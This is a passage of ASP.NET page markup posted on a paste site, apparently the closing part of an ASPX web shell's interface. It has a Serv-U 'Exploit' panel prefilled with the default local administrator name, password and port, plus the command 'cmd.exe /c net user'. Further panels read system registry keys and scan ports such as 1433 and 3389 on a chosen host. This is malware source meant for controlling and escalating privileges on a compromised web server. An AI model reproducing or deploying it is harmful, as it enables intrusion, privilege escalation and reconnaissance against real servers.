  1556. <asp:DataGrid ID="Bin_DataGrid" runat="server" Width="753px" PageSize="20" CssClass="Bin_DataGrid" OnItemDataBound="Item_DataBound" AllowPaging="True" OnPageIndexChanged="Bin_DBPage" OnItemCommand="Item_Command">
  1557. <PagerStyle Mode="NumericPages" Position="TopAndBottom" />
  1558. </asp:DataGrid></div>
  1559. </asp:Panel>
  1560. <asp:Panel ID="Bin_SuPanel" runat="server" Width="763px" >
  1561. <hr />
  1562. Name :
  1563. <asp:TextBox ID="Bin_SunameTextBox" runat="server">localadministrator</asp:TextBox>
  1564. Pass :
  1565. <asp:TextBox ID="Bin_SupassTextBox" runat="server">#l@$ak#.lk;0@P</asp:TextBox>
  1566. Port :
  1567. <asp:TextBox ID="Bin_SuportTextBox" runat="server">43958</asp:TextBox><br />
  1568. CMD :
  1569. <asp:TextBox ID="Bin_SucmdTextBox" runat="server" Width="447px">cmd.exe /c net user</asp:TextBox><br />
  1570. <asp:Button ID="Bin_SuexpButton" runat="server" Text="Exploit" OnClick="Bin_SuexpButton_Click" /><br />
  1571. <div style="text-align:left">
  1572. <hr />
  1573. <asp:Label ID="Bin_SuresLabel" runat="server"></asp:Label>
  1574. </div>
  1575. </asp:Panel>
  1576. <asp:Panel ID="Bin_IISPanel" runat="server" Width="763px"><div style="text-align:left">
  1577. <hr />
  1578. <asp:Label ID="Bin_iisLabel" runat="server" Text="Label" EnableViewState="False"></asp:Label>&nbsp;</div></asp:Panel>
  1579. <asp:Panel ID="Bin_RegPanel" runat="server" Width="763px"><hr /><div style="text-align:left">
  1580. KEY :&nbsp; &nbsp;<asp:TextBox ID="Bin_KeyTextBox" runat="server" Width="595px">HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\ComputerName\ComputerName</asp:TextBox><br />
  1581. VALUE :
  1582. <asp:TextBox ID="Bin_ValueTextBox" runat="server" Width="312px">ComputerName</asp:TextBox>&nbsp;<asp:Button
  1583. ID="Bin_RegreadButton" runat="server" Text="Read" OnClick="Bin_RegreadButton_Click" /><br />
  1584. <asp:Label ID="Bin_RegresLabel" runat="server"></asp:Label><hr /></div></asp:Panel>
  1585. <asp:Panel ID="Bin_PortPanel" runat="server" Width="763px">
  1586. <hr /><div style="text-align:left">
  1587. IP :
  1588. <asp:TextBox ID="Bin_ScanipTextBox" runat="server" Width="194px">127.0.0.1</asp:TextBox>
  1589. PORT :
  1590. <asp:TextBox ID="Bin_PortsTextBox" runat="server" Width="356px">21,80,1433,3306,3389,4899,5631,43958,65500</asp:TextBox>
  1591. <asp:Button ID="Bin_ScancmdButton" runat="server" Text="Scan" OnClick="Bin_ScancmdButton_Click" /><br />
  1592. <asp:Label ID="Bin_ScanresLabel" runat="server"></asp:Label></div><hr /></asp:Panel>
  1593.  
  1594. </div></form>
  1595. </body>
  1596. </html>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement